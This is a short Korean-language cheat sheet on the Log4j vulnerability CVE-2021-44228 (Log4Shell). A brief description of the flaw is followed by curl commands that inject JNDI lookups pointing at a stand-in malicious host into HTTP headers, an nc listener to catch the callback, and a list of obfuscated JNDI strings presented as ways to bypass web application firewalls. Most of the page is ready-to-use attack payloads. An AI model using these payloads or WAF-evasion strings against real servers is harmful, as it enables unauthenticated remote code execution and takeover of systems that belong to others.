
CVE-2021-44228
2021년 12월 5일, Apache는 널리 사용되는 Log4j 로깅 서비스에서 취약점(이후 CVE-2021-44228로 식별됨)을 확인했습니다. Log4shell이라고도 알려진 이 취약점은 Java 로깅 라이브러리를 사용하는 애플리케이션을 실행 중인 사용자를 통해 인증되지 않은 원격 코드 실행을 허용하여 공격자가 영향을 받는 서버를 완전히 제어할 수 있게 합니다. Log4j는 광범위한 DevOps 프레임워크, 엔터프라이즈 IT 시스템, 벤더 소프트웨어 및 클라우드 제품에 깊숙이 통합되어 있습니다.
악성 원격 호스트에서 다음을 실행하여 서버가 Log4j 취약점에 취약한지 확인하십시오:
curl vulnserver:port -H 'X-Api-Version: ${jndi:ldap://malicioushost:mport/a}'
nc -lnvp mport
HTTP-POST 요청을 포함하는 다른 변형을 사용하여 취약점을 확인할 수도 있습니다:
curl -H 'User-Agent: ${jndi:ldap://malicioushost:mport/a}' vulnserver:port
웹 애플리케이션 방화벽을 우회하려면:
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}